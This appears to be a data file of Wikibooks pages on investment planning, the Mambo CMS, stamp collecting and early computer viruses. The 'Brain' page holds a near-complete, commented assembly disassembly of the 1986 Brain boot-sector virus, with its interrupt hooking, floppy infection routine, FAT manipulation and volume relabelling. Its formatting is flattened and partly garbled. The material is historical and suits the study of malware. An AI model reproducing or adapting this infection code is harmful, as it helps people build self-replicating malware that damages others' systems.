text:
Investment Business Plan/Portfolio Philosophy

Portfolio Philosophy
Even beginning investors need to lay out an initial investment plan. Assume changes or portfolio modifications will follow as one becomes more familiar with investing. But at least start with some savings plan. Apply the philosophy, invest as much as you can as early as you can. As one begins to save, the decision of what to do with the money becomes a challenge. Since different industries, market sectors, and asset classes perform at different levels during various market cycles, it behooves one to diversify investments over a variety of asset classes. Establishing an asset allocation plan for a portfolio is an important first step toward successful investing. Below are some guidelines and helpful hints.

1.0   Asset Allocation
 * 1) Determine an overall plan for a broad portfolio establishing percentage guidelines for each asset class. An example portfolio is available at  Look for the  Sample.xls file. A more complex asset allocation spreadsheet is available on this same site. Look for the file AA-01-15-2005.xls.
 * 2) Divide the portfolio into growth and value investments.  Use Morningstar guidelines.  In some cases the investment will fall into what is known as a core investment or somewhere between a value and growth investment.
 * 3) Divide the portfolio into large, mid, and small-cap size. Some investors will prefer to use sales as the division points.  Again, use Morningstar guidelines.
 * 4) Determine if the portfolio should include asset classes such as REITs, international, emerging markets, precious metals, bonds, etc.

The reasons or logic for developing a portfolio strategy is based on research done by Gary P. Brinson, L. Randolph Hood and Gilbert L. Beebower in their ground breaking paper, "Determinants of Portfolio Performance." Brinson, Brian D. Singer and Beebower followed with an update of the original paper in 1991. John Nuttall provides counter arguments to the Brinson et. al. papers in his article, "The Importance of Asset Allocation." To be sure, Brinson is frequently misquoted.

Ronald J. Surz, Dale Stevens, and Mark Wimer in their article, "Investment Policy Explains All" write, "For those who thought that the question of policy importance had been conclusively asked and answered by the authors' (Brinson et. al.) study, we now say it wasn't. The critics' arguments do contain some truth -- and some errors.  Investment policy is not only the most important contributor to performance -- it is even more important than originally thought."

Later in the Surz et. al. article they write, "...this means that investment policy explains 112% of the performance of the average fund in the authors' study, a far greater number than originally suggested."

Several additional references advocating a well-developed portfolio can be found in the following books. "Four Pillars of Investing" - William Bernstein "The Intelligent Asset Allocator" - William Bernstein "Asset Allocation: Balancing Financial Risk" - Roger C. Gibson

2.0   Active Asset Allocation

What is Active Asset Allocation (AAA) and how does it fit into the Investment Business Plan? Since AAA is part of Portfolio Management you are directed to this page.


text:
Investment Business Plan/Screening for Stocks

2.0 Screening for Stocks

 * 1) Screen for stocks using the American Association of Individual Investor's "Stock Investor Pro."
 * 2) Check for quality stocks at this site -- http://www.investware.com/roster/home.html
 * 3) Consider stocks recommended by NAIC Forum members.

Here is an example screen from the AAII Stock Investor Pro

Criteria for the screenings

 * ROI
 * ROE
 * sales volume jump

Technical analysis also can give additional criteria like
 * Increase in buying interest (indicated by breakout)

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
Investment Business Plan/Maintaining a “Watch List” of Stocks

4.0   Maintaining a "Watch List" of Stocks

A "Watch List" consists of a group of stocks an investor finds of interest but as yet does not own. It is certainly possible to expand the "Watch List" to include stocks owned so one can compare quality and price between owned and "under-the-microscope" or stocks to watch.

Just what information to include in a "Watch List" is up to the investor. Some suggestions as to what to include include all the fundamental SSG factors such as expected growth in sales and earnings, direction of management controls found in Section 2 of the SSG, Total Return, Relative Value, and the Upside/Downside ratio. Information gleaned from Value Line could include Operating Margins, Return on Share Equity, and Price/Book ratio. Using Value Line one can calculate PEG and the Robertson Quality Rating (RQR) value.


text:
Mambo Open Source

Mambo Open Source is a content management system that can be used to create and manage webpages. It uses a browser-based interface for most editing operations, and supports most modern browsers.

This is a guide for both beginners and professionals on how to use Mambo Open Source. If you encounter an item that is not present, please start the article and expand this book! This is an ever-expanding collection of tutorials and articles, so don't think twice if you want to write!

Important Note
This manual has not had any content updates in over a year. However, it inspired a member of the Mambo community to create a wiki and continue the concept of providing a collaborative user and developer manual for Mambo. This manual is now part of the Mambo CMS project and contains extensive documentation to help both users and developers alike.

You can go to the Mambo Manual here.

Registration is, of course, free and everyone is encouraged to contribute.

Updated: 12 December, 2006

Take a look at this book's style reference before adding content - please follow this to maintain the book's good system and layout. Also, see the help section for information on how to contribute.

If you have a request for an article, simply add a link in the appropriate section of this book. This link would then be viewable to others, and maby someone will start the article.

Noted Contributors

Mambo

title: Mambo Open Source


text:
Investment Business Plan/Analysis of Stocks

4.0 Analysis of Stocks

4.1 Using the Stock Selection Guide (SSG)

The Stock Selection Guide is software available through the National Association of Investor Corp and/or IClub Software. To learn more about this software, check the link below.


text: Template:Mambo Open Source/TOC

title: Template:Mambo Open Source/TOC


text:
Mambo Open Source/Installation

This chapter explains the installation of Mambo Open Source in a supported environment.

 * Server and system requirements
 * Getting Mambo
 * Placing the files
 * Installing - step by step

title: Mambo Open Source/Installation


text:
World Stamp Catalogue/Contributors

— Hobby&learning 19:05, 18 Apr 2005 (UTC) I started this WikiBook, and I know it will be a huge project, I think it will help a lot of people in enjoying their hobby which is still one of the most popular hobbies around the world !

— Tom Webb 7 July 2005 05:57 (UTC) I came across this interesting WikiBook and thought I might be able to help with fleshing out New Zealand stamps section. Will try to add additional information as and when I can :)

— Nonenmac 03:06, 14 May 2007 (UTC) I just added the module World Stamp Catalogue/United States, which is a copy of what I had created as a Commons article (Stamps of the United States) based on the US stamp images there. I have not yet made an attempt to conform to the World Stamp Catalogue format or content. I mainly wanted to provide an indication of what US stamp images are available on Wikimedia Commons. Feel free to do any constructive reformatting that would help. Some scans from my personal collection are shown in commons:User:Nonenmac/postage stamps.

— We, participants in the Russian WikiProject Philately, namely Mariluna, Michael Romanov, Leonid Dzhepko, Andrey Sdobnikov and others have started contributing to the World Stamp Catalogue for Soviet Union and Russia. We aim to represent these two countries as full as possible. And maybe more. As you can see the year 1989 is already there. All interested persons are welcome to join us. On behalf of my collegues, --Leonid Dzhepko 20:04, 12 November 2007 (UTC)

- User:AshLIn. I inhabit en:WP. I would like to author the Indian stamps section with help from others. AshLin (talk) 05:37, 3 April 2009 (UTC)

- I have picked US stamps of 1940 as an example of how I like the catalog to look when it becomes more populated with information. Nonenmac had already done much of the hard work for scanning some images, I just arranged them into the new templates and combined with additional info Robert Huber (discuss • contribs) 14:02, 10 September 2013 (UTC)

Contributors

title: World Stamp Catalogue/Contributors


text: File:Mosflower.png

title: File:Mosflower.png


text:
Mambo Open Source/Templates

Templates (or skins) are the set of directory and files (icons, .html and .css). definition of the way the mambo-interface - that is your site, explained in normal terms - will look. They are highly configurable, and can be used in many different ways.

The templates are acting exactly the same as a skins. The templates are predefined looks (designs), which make mambo look a certain way (color patterns, icons for navigation, etc...). The templates do not control the behavior, though, as in other systems that use templates - it is a look-only definition.

Explained very simply, a template is a HTML/CSS document that has code in it which makes it compatible with mambo. For example, there are code for loading the modules of a certain position, there are code to load the main body (main content) and so on.

Example
see: Create your own template

Complete list of templates
''see.. Resources#Templates''

title: Mambo Open Source/Templates


text:
Mambo Open Source/Components

This page is very old and the links no longer work. Mambelfish has been abandoned and has not been developed since 2005.

The components are supplements and additions to mambo's core functions. Mambo can publish text, upload images, manage users, etc., but components are extra functions that can perform additional tasks. Examples of these are: download managers, forums, commerce, galleries, guestbooks, wikis, newsletters - the list is almost endless.

These components are installed with an installer in mambo, found under "components > install/uninstall" in the mambo administration panel. This is how most of the components are installed, but it should be noted that some of them will need modification to core files. However, that is very seldom needed, as the components installer is usually sufficient.

Complete list of components

 * see.. Components (more than 322 projects)

Mambelfish
The MambelFish project is a extention hack and component for the content management system Mambo. It enables Mambo to handle multi lingual sites especially in all dynamic contents which are stored in the database.

 * The key features of the fish are
 * Possibility for an unlimited amount of languages
 * Possibility to MANUAL translate all dynamic content of your Mambo installation in ONE database
 * Overview of the changed contents in the Translation list
 * Support for all the core components/modules of Mambo's
 * Frontend component for language selection

The MambelFish project is maintained and hosted on Mambo's project forge http://mamboforge.net/projects/mambelfish/ by author Alex Kempkens , Copyright (C) 2003-2005 Think Network GmbH. When ever you have questions or new ideas please visit this page and post your comments there.

Installation
The basic installation of the MambelFish goes along with the Mambo (version 4.5.2.3) standards.

1. Install the component thru the Administrator -> Components -> Install routine. 1.a) start in the backend to install mambelfish: 1.b) file 'Mambelfish_1.5.zip' with the component installer 1.c) file 'Mbf_module.zip' with the module installer 1.d) file 'Mbf_searchbot.zip' with the mambot installer 2. Now the difference starts: Applying the corresponding patch. 2.a) BACKUP YOUR ACTUAL MAMBO INSTALLATION DIRECTORY! 2.b) MAKE SURE YOU BACKUP THE DIRECTORY 2.c) The patch is a zip file which corresponds with the directory structure of the Mambo sources. Please unzip (how-with ftp?) the latest known corepatch 4.5.2 file from mamboforge to the root of your Mambo installation, overwriting all files.

For a simple test please switch to the peeklime template. Within this template you should see a combobox with the language name "English" in it - next to the search field (upper right part). Also in the Administrator the Version should now say something about the MambelFish.

Language configuration
The first step is to upload at least a second language to your Mambo installation. Do this with the help of the Language Manager (Administrator -> Site -> Language Manager).

After you installed the language go to Administrator -> Components -> MambelFish -> Component Configuration

Choose the tab "Languages" and activate the new language. Also define the ISO code and the Name, which is the visible name in the frontend component. Save the new configuration.

This kind of activation must be done for each language added to the system.

Translation process
The translation process is based on the translation overview (Component -> MambelFish -> Translation). In this overview you have to select the language you want to translate into and a content element.

The content elements represent the possible dynamic content in your database. This includes normally all your sections, categories, content items but also the information from other components, like the web links, polls and so on.

It is possible to add new content elements just by adding new XML files in the folder /administrator/components/com_mambelfish/contentelements. These files describe how the table structure is organized and which fields of the table should be translatable and how.

After you selected one language and one content element you will see all the items of this filter. Best start with your new language and the content elements "menues". Click on one item in the list to translate it.

Now you see the details of the translation - go ahead. Second tab publish the translation of this item and make sure the language is correct - Save.

Now you can go back to the frontend and you should already find your menu translated (of course after a reload or change to your new language ;-)).

Small hints

 * I found out that it is the best to start creating your site in one language and translate anything to a second, third one. In this way it is most easy for you to build the structure and finally translate it to the other languages. Anyhow if you once have original content in a second language don't worry, just translate it into your primary language and you are fine.

at the place where you wish in your template.
 * The language switcher appears when you add

 * You can also just use the module (if you have installed it) and place it at any module position that you like (and that you have published) - but as far as I know the module just uses the Component ;-)

 * about the languages, that don't change... have you checked the URL? at the end there should be the parameter lang=XX ... if you see only 'lang=' and nothing more you just have to type an identification code of the languages in your mambelfish configuration [components-mambelfish-language configuration]

 * check your language configuration in the Mambo Backend (Components > Mambelfish > Language Configuration)

wrinting Your own component

 * see official guide writing Mambo components

Related Links:
oxide'''

title: Mambo Open Source/Components


text:
Mambo Open Source/Modules

Modules are the sideblocks in mambo.

Mambo has predefined positions for these modules. The most common are the left and right positions. The designer of a template (see below) can place these positions wherever he/she wants, so there is no rule that says the left position will be on the left of the template. But templates are commonly set up so that this corresponds to the actual layout.

There are also more module positions. There are top positions, which are usually over both left and right modules, and also content. This position is good for newsflashes etc. There are many more positions to choose from, and one can create as many as one likes - you can have 30 different positions if you want to (see picture...Mambo Open Source/Modules positions ).

Complete list of modules
Amongst these are:
 * main menu module,
 * login,
 * poll,
 * syndicate - all the stuff around the content.

title: Mambo Open Source/Modules


text:
Mambo Open Source/Noted Contributors

''Your name will be added here if you contribute a lot. Leave a note on the discussion page if you think your name should be on this list. ''

 * August Lilleaas - The creator of the book, and author of all the content so far.

title: Mambo Open Source/Noted Contributors


text:
Self-Replicating Automata/List/Brain

Introduction
Like many of the earliest virus, it is evident from the code that Brain (brain.dos.x) does not utilise any inherent system vulnerabilities to spread. Its spreading is purely dependent on well documented function calls(interrupts).

Source Code

 * This is the ashar variant of the classic Pakistani Brain virus. It is large
 * by today's standards, although it was one of the first. It is a floppy only
 * boot sector infector.

brain          segment byte public assume cs:brain, ds:brain

org	0
 * Disassembly done by Dark Angel

cli jmp    entervirus idbytes        db       34h, 12h firsthead      db      0 firstsector    dw      2707h curhead        db      0 cursector      dw      1 db     0, 0, 0, 0 db     'Welcome to the  Dungeon         ' copyright	db	'(c) 1986 Brain' db     17h db	'& Amjads (pvt) Ltd  VIRUS_SHOE ' db	' RECORD  v9.0   Dedicated to th' db	'e dynamic memories of millions o'		db	'f virus who are no longer with u' db	's today - Thanks GOODNESS!! '               db      '  BEWARE OF THE er..VIRUS  : \th' db	'is program is catching     prog' db	'ram follows after these messeges' db	'..... $'		db	'#@%$' db	'@!! ' entervirus: mov	ax,cs mov    ds,ax                   ; ds = 0 mov    ss,ax                   ; set stack to after mov    sp,0F000h               ; virus sti mov    al,ds:[7C00h+offset firsthead] mov    ds:[7C00h+offset curhead],al mov    cx,ds:[7C00h+offset firstsector] mov    ds:[7C00h+offset cursector],cx call   calcnext mov    cx,5                    ; read five sectors mov    bx,7C00h+200h           ; after end of virus

loadnext: call   readdisk call   calcnext add	bx,200h loop   loadnext

mov    ax,word ptr ds:[413h]   ; Base memory size in Kb                sub     ax,7                    ; - 7 Kb                mov     word ptr ds:[413h],ax   ; Insert as new value mov	cl,6 shl    ax,cl                   ; Convert to paragraphs mov	es,ax mov    si,7C00h                ; Copy from virus start mov    di,0                    ; to start of memory mov    cx,1004h                ; Copy 1004h bytes cld rep    movsb push	es mov	ax,200h push	ax retf                           ; return to old boot sector

readdisk: push	cx push	bx mov    cx,4                    ; Try 4 times

tryread: push	cx mov    dh,ds:[7C00h+offset curhead] mov    dl,0                    ; Read sector from default mov    cx,ds:[7C00h+offset cursector] mov    ax,201h                 ; Disk to memory at es:bx int    13h jnc    readOK mov    ah,0                    ; Reset disk int    13h                     ; (force read track 0) pop	cx loop   tryread

int    18h                     ; ROM basic on failure readOK: pop	cx pop	bx pop	cx retn

calcnext: mov    al,byte ptr ds:[7C00h+offset cursector] inc	al mov    byte ptr ds:[7C00h+offset cursector],al cmp	al,0Ah jne    donecalc mov    byte ptr ds:[7C00h+offset cursector],1 mov    al,ds:[7C00h+offset curhead] inc	al mov    ds:[7C00h+offset curhead],al cmp	al,2 jne    donecalc mov    byte ptr ds:[7C00h+offset curhead],0 inc    byte ptr ds:[7C00h+offset cursector+1] donecalc: retn

db      00h, 00h, 00h, 00h, 32h,0E3h db      23h, 4Dh, 59h,0F4h,0A1h, 82h db     0BCh,0C3h, 12h, 00h, 7Eh, 12h db     0CDh, 21h,0A2h, 3Ch, 5Fh a_data         dw      050Ch jmp    short entersecondpart db     '(c) 1986 Brain & Amjads (pvt) Ltd ',0 readcounter    db      4                       ; keep track of # reads curdrive       db      0 int13flag      db      0
 * the following is a collection of garbage bytes
 * Second part of the virus begins here

entersecondpart: mov    cs:readcounter,1Fh xor    ax,ax mov    ds,ax                   ; ds -> interrupt table mov    ax,ds:[13h*4] mov    ds:[6Dh*4],ax mov    ax,ds:[13h*4+2] mov    ds:[6Dh*4+2],ax mov    ax,offset int13         ; 276h mov    ds:[13h*4],ax mov	ax,cs mov    ds:[13h*4+2],ax mov    cx,4                    ; 4 tries xor    ax,ax mov    es,ax                   ; es -> interrupt table

tryreadbootsector: push	cx mov    dh,cs:firsthead mov	dl,0 mov    cx,cs:firstsector mov    ax,201h                 ; read from default disk mov	bx,7C00h int    6Dh                     ; int 13h jnc    readbootOK mov	ah,0 int    6Dh                     ; int 13h pop	cx loop   tryreadbootsector

int    18h                     ; ROM basic on failure readbootOK:                                    ; return control to                                                ; original boot sector db	0EAh, 00h, 7Ch, 00h, 00h nop                            ; MASM NOP!!! int13: sti cmp    ah,2                    ; if not read request, jne    doint13                 ; do not go further cmp    dl,2                    ; if after second floppy, ja     doint13                 ; do not go further cmp    ch,0                    ; if not reading boot sector, jne    regularread             ; go handle as usual cmp    dh,0                    ; if boot sector, je     readboot                ; do I<-/>/\|> stuff regularread: dec    cs:readcounter          ; Infect after 4 reads jnz    doint13                 ; If counter still OK, don't                                                ; do anything else jmp    short readboot          ; Otherwise, try to infect doint13: jmp    exitint13h readboot: mov    cs:int13flag,0          ; clear flag mov    cs:readcounter,4        ; reset counter push	ax push	bx push	cx push	dx mov    cs:curdrive,dl mov	cx,4
 * jmp    far ptr 0000:7C00h
 * FINISH THIS!

tryreadbootblock: push	cx mov    ah,0                    ; Reset disk int    6Dh jc     errorreadingbootblock   ; Try again mov    dh,0 mov	cx,1 mov    bx,offset readbuffer    ; buffer @ 6BEh push	es mov	ax,cs mov	es,ax mov	ax,201h int    6Dh                     ; Read boot sector pop	es jnc    continuestuff           ; continue if no error errorreadingbootblock: pop    cx                loop    tryreadbootblock

jmp    short resetdisk         ; too many failures nop continuestuff: pop    cx                      ; get system id in boot block mov    ax,word ptr cs:[offset readbuffer+4] cmp    ax,1234h                ; already infected? jne    dodisk                  ; if not, infect it                mov     cs:int13flag,1          ; flag prev. infection jmp    short noreset dodisk: push	ds push	es mov	ax,cs mov	ds,ax mov	es,ax push	si call   writevirus              ; infect the disk jc     failme                  ; exit on failure mov    cs:int13flag,2          ; flag success call   changeroot              ; manipulate volume label failme: pop	si pop	es pop	ds jnc    noreset                 ; don't reset on success resetdisk: mov    ah,0                    ; reset disk int    6Dh                     ; int 13h noreset: pop	dx pop	cx pop	bx pop	ax cmp	cx,1 jne    exitint13h cmp	dh,0 jne    exitint13h cmp    cs:int13flag,1          ; already infected? jne    wasntinfected           ; if wasn't, go elsewhere mov    cx,word ptr cs:[offset readbuffer+7] mov    dx,word ptr cs:[offset readbuffer+5] mov    dl,cs:curdrive          ; otherwise, read real jmp    short exitint13h        ; boot sector wasntinfected: cmp    cs:int13flag,2          ; successful infection? jne    exitint13h              ; if not, just do call mov    cx,cs:firstsector mov    dh,cs:firsthead exitint13h: int    6Dh                     ; int 13h retf   2 db	15 dup (0)

FATManip:                                      ; returns al as error code jmp    short delvedeeper nop FATManipreadcounter dw     3 db     ' (c) 1986 Brain & Amjads (pvt) Ltd' delvedeeper: call   readFAT                 ; Get FAT ID byte mov    ax,word ptr ds:[offset readbuffer] cmp    ax,0FFFDh               ; is it 360K disk? je     is360Kdisk              ; continue if so                mov     al,3                    ; al=3 == not good disk stc                            ; flag error retn                           ; and exit is360Kdisk: mov	cx,37h mov    FATManipreadcounter,0   ; none found yet checknextsector: call   FATentry12bit           ; get entry in FAT cmp    ax,0                    ; unused? jne    notunused inc    FATManipreadcounter     ; one more found unused cmp    FATManipreadcounter,3   ; If need more, jne    tryanother              ;  go there jmp    short markembad         ; found 3 consecutive nop                            ; empty sectors notunused: mov    FATManipreadcounter,0   ; must start over tryanother: inc    cx                      ; try next sector cmp    cx,163h                 ; end of disk? jne    checknextsector         ; if not, continue mov    al,1                    ; al=1 == none empty stc                            ; Indicate error retn markembad: mov    dl,3                    ; 3 times markanotherbad: call   markbad12bit dec	cx dec	dl jnz    markanotherbad inc	cx call   calc1sttrack call   writeFAT                ; update FAT mov    al,0                    ; al=0 == ok                clc                             ; indicate success retn

markbad12bit: push   cx		push	dx mov    si,offset readbuffer    ; si -> buffer mov	al,cl shr    al,1 jc     low_12                  ; low bits call   clus2offset12bit mov    ax,[bx+si]              ; get FAT entry and    ax,0F000h               ; mark it bad or	ax,0FF7h jmp    short putitback         ; and put it back nop low_12: call   clus2offset12bit mov    ax,[bx+si]              ; get FAT entry and    ax,0Fh                  ; mark it bad or	ax,0FF70h putitback: mov    [bx+si],ax              ; replace FAT entry mov    word ptr ds:[400h][bx+si],ax ; in two places pop	dx pop	cx retn

FATentry12bit: push	cx mov    si,offset readbuffer    ; si->buffer mov	al,cl shr    al,1 jc     want_high_12 call   clus2offset12bit mov	ax,[bx+si] and    ax,0FFFh jmp    short exitFATentry12bit nop want_high_12: call   clus2offset12bit        ; xxxxxxxxxxxx0000 mov    ax,[bx+si]              ; ^^^^^^^^^^^^wanted and    ax,0FFF0h               ; mask wanted bits mov    cl,4                    ; and move to correct shr    ax,cl                   ; position exitFATentry12bit: pop	cx retn
 * Part 3 of the virus starts here

clus2offset12bit: push	dx mov    ax,3 mul    cx                shr     ax,1                    ; ax = cx*1.5 mov	bx,ax pop	dx retn

readFAT: mov    ah,2                    ; read call   FAT_IO retn

writeFAT: mov    ah,3                    ; write call   FAT_IO retn

FAT_IO: mov    cx,4                    ; try four times FAT_IOLoop: push	cx push	ax mov    ah,0                    ; reset disk int    6Dh                     ; int 13h pop	ax jc     tryFAT_IOagain mov    bx,offset readbuffer mov    al,4                    ; 4 sectors mov    dh,0                    ; head 0 mov    dl,curdrive mov    cx,2                    ; sector 2 push   ax                      ; (FAT) int    6Dh                     ; int 13h pop	ax jnc    exitFAT_IO tryFAT_IOagain: pop	cx loop   FAT_IOLoop

pop	ax pop	ax mov	al,2 stc                            ; mark error retn exitFAT_IO: pop	cx retn

calc1sttrack: push	cx sub    cx,2 shl    cx,1                    ; 2 sectors/cluster add    cx,0Ch                  ; start of data area mov    ax,cx                   ; ax = sector mov    cl,12h                  ; 4096 div    cl                      ; ax/4096 = al rem ah                mov     byte ptr firstsector+1,al mov    firsthead,0 inc	ah cmp    ah,9                    ; past track 9? jbe    notpasttrack9           ; nope, we are ok                sub     ah,9                    ; otherwise, adjust mov    firsthead,1 notpasttrack9: mov    byte ptr firstsector,ah pop	cx retn

db     0, 0, 0, 0, 0, 0 r_or_w_root    db      3 entrycount     dw      35h

tempsave1      dw      303h tempsave2      dw      0EBEh tempsave3      dw      1 tempsave4      dw      100h db	0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh db	 8Dh, 98h, 9Fh, 8Eh,0E0h db	' (c) ashar $' changeroot: call   readroot                ; read in root directory jc     donotchangeroot push	di call   changevolume            ; change volume label pop	di jc     donotchangeroot call   writeroot               ; write back new root dir donotchangeroot: retn db	0BBh, 9Bh, 04h,0B9h, 0Bh db     0,8Ah,7,0F6h,0D8h,88h,4,46h,43h db     0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h db     0C6h, 06h
 * The following is just garbage bytes

changevolume: mov    entrycount,6Ch mov    si,offset readbuffer+40h; 3nd dir entry mov    tempsave1,dx mov    ax,entrycount           ; 6Ch shr    ax,1 mov    tempsave3,ax            ; 36h shr    ax,1 mov    tempsave2,ax            ; 1Bh xchg   ax,cx and    cl,43h                  ; cx = 3 mov    di,tempsave2 add    di,1E3h                 ; di = 01FE findlabel: mov	al,[si] cmp	al,0 je     dolabel                 ; no mo entries mov    al,[si+0Bh]             ; attribute byte and    al,8                    ; volume label? cmp    al,8                    ; yes? je     dolabel                 ; then change it! add    si,20h                  ; go to next directory entry dec    entrycount jnz    findlabel               ; loop back stc                            ; Error! retn db	8Bh dolabel: mov    bx,[di]                 ; offset a_data xor    bx,tempsave3            ; bx = 53Ah mov    tempsave3,si            ; si->direntry cli mov	ax,ss mov    tempsave1,ax mov    tempsave2,sp mov	ax,cs mov	ss,ax mov    sp,tempsave3 add    sp,0Ch                  ;->reserved area mov    cl,51h add	dx,444Ch mov    di,2555h mov	cx,0C03h repe   cmpsw mov    ax,0B46h mov	cx,3 rol    ax,cl                   ; ax = 5A30h mov    tempsave3,ax mov	cx,5 mov	dx,8 sub    tempsave3,5210h         ; 820h push   tempsave3               ; store attributes/reserved
 * I haven't commented the remainder of this procedure.
 * It basically changes the volume label to read "(c) Brain"

 * Comment mode OFF

dowhatever: mov    ah,[bx]                 ; 5a3h inc	bx mov    dl,ah shl    dl,1 jc     dowhatever searchstuff: mov    dl,[bx]                 ; dl=C2h inc    bx                      ; bx=53Eh mov    al,dl shl    dl,1 jc     searchstuff add	ax,1D1Dh push	ax inc    tempsave3 db      73h, 01h               ; jnc $+3 db     0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 xchg   bp,ax add    al,0A1h xchg   bx,ax add    al,8Eh sar    bl,1 add    dh,[bp+si] clc ret ;db      95h, 04h,0A1h, 93h, 04h, 8Eh ;db     0D0h,0FBh, 02h, 32h,0F8h,0C3h

 * Comment mode ON

readroot: mov    r_or_w_root,2           ; set action code jmp    short do_rw_root        ; easier to do w/                nop                             ; mov ah, 2 writeroot: mov    r_or_w_root,3 jmp    short do_rw_root        ; this is somewhat useless nop do_rw_root: mov    dh,0                    ; head 0 mov    dl,curdrive mov    cx,6                    ; sector 6 mov    ah,r_or_w_root mov    al,4                    ; 4 sectors mov    bx,offset readbuffer call   doint13h jc     exit_rw_root            ; quit on error mov	cx,1 mov    dh,1                    ; head 1 mov    ah,r_or_w_root mov	al,3 add	bx,800h call   doint13h

exit_rw_root: retn

doint13h: mov    tempsave1,ax mov    tempsave2,bx mov    tempsave3,cx mov    tempsave4,dx mov	cx,4

doint13hloop: push	cx mov    ah,0                    ; Reset disk int    6Dh jc     errordoingint13h mov    ax,tempsave1 mov    bx,tempsave2 mov    cx,tempsave3 mov    dx,tempsave4 int    6Dh                     ; int 13h jnc    int13hsuccess errordoingint13h: pop	cx loop   doint13hloop

stc                            ; indicate error retn int13hsuccess: pop	cx retn

db	0, 0, 0 tempstorecx    dw      3 readwritecurrentdata   dw      301h
 * Part 4 of the virus starts here

writevirus: call   FATManip jc     exitwritevirus mov    cursector,1 mov    curhead,0 mov    bx,offset readbuffer call   readcurrent mov    bx,offset readbuffer mov    ax,firstsector mov    cursector,ax mov    ah,firsthead mov    curhead,ah call   writecurrent call   calcnextsector mov	cx,5 mov	bx,200h writeanothersector: mov    tempstorecx,cx call   writecurrent call   calcnextsector add	bx,200h mov    cx,tempstorecx loop   writeanothersector

mov    curhead,0 mov    cursector,1 mov	bx,0 call   writecurrent clc                            ; indicate success exitwritevirus: retn

readcurrent: mov    readwritecurrentdata,201h jmp    short doreadwrite nop writecurrent: mov    readwritecurrentdata,301h jmp    short doreadwrite       ; This is pointless. nop doreadwrite: push	bx mov	cx,4

tryreadwriteagain: push	cx mov    dh,curhead mov    dl,curdrive mov    cx,cursector mov    ax,readwritecurrentdata ; read or write? int    6Dh                     ; int 13h jnc    readwritesuccessful mov    ah,0                    ; reset disk int    6Dh                     ; int 13h pop	cx loop   tryreadwriteagain

pop	bx pop	bx stc                            ; Indicate error retn readwritesuccessful: pop	cx pop	bx retn

calcnextsector: inc    byte ptr cursector      ; next sector cmp    byte ptr cursector,0Ah jne    donecalculate           ; finished calculations mov    byte ptr cursector,1    ; clear sector # inc    curhead                 ; and go to next head cmp    curhead,2               ; if not too large, jne    donecalculate           ; we are done mov    curhead,0               ; otherwise clear head # inc    byte ptr cursector+1    ; and advance cylinder donecalculate: retn

db	 64h, 74h, 61h

readbuffer: brain          ends end
 * read buffer starts here
 * insert your favorite boot block below...

External link

 * Story of the virus from Brain Limited - This link has the actual message of the virus, complete with the phone numbers, etc.

title: Self-Replicating Automata/List/Brain


text:
Mambo Open Source/Convert templates from 4.5 to 4.5.x

Convert templates from 4.5 to 4.5.x
A mambo template uses variables and operators in the Mambo core system, and some of these may change during the development of Mambo. Most templates created for version 4.5 of Mambo will work with the newer versions of 4.5.x, but there are some precautions to be aware of.

A 4.5.x compatible template will be 100% compatible with the future release of version 5.0. 4.5.x also has some functions that 4.5 templates doesn't, like the top-menu.

Pathway
In 4.5 the pathway was a reference to a file called "pathway.php". 4.5.x is different here, and uses a function called "mosPathWay".

Mainbody
In 4.5 the mainbody was a reference to a file called "mainbody.php". 4.5.x is different here, and uses a function called "mosMainBody".

Global variables
Some of the core config-variables have changed too, here they are:

Pathway-separator
4.5.x has a new feature for the pathway arrow. In the Mambo generated pathway of the "mosPathWay"-function, an arrow image appears between the pathway links. This can be a custom arrow for each template, and it is very simple to use this feature.

Simply create an image that you want for this, save it in .png-format, call it "arrow.png" and place it in the root folder of the template you want it in, the same as the "template_details.xml" and "index.php" files. If this doesn't work, try putting it in the images sub-folder. What the heck, put it in both places.

Remember to create a reference to this file in the "template_details.xml" file, so that it is uploaded when installing the template through the Mambo Template Installer.

The head code
The head code has also been upgraded from 4.5.

If you don't use any custom functions and includes in the tag, use this code:


text:
Mambo Open Source/Design

These articles are about the subject of design and layout in Mambo, what is usually called "templates" in mambo terms.

Tips & tricks

 * Hiding pathway on front page
 * Individual styling for each module position
 * Different ways of loading modules

Miscellaneous

 * Convert templates from being 4.5 to 4.5.x compatible
 * Create your own template
 * Design basics

title: Mambo Open Source/Design


text:
Self-Replicating Automata/List/Elk Cloner

Introduction
Elk Cloner is the first known computer virus to spread in the wild. It infected Apple II systems and was written by Richard Skrenta in 1982. It spread by infecting Apple II floppy disks. It did not cause any intentional harm to data, and displayed the message on every 50th booting. Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips Yes it's Cloner!

It will stick to you like glue It will modify ram too Send in the Cloner!

Source Code
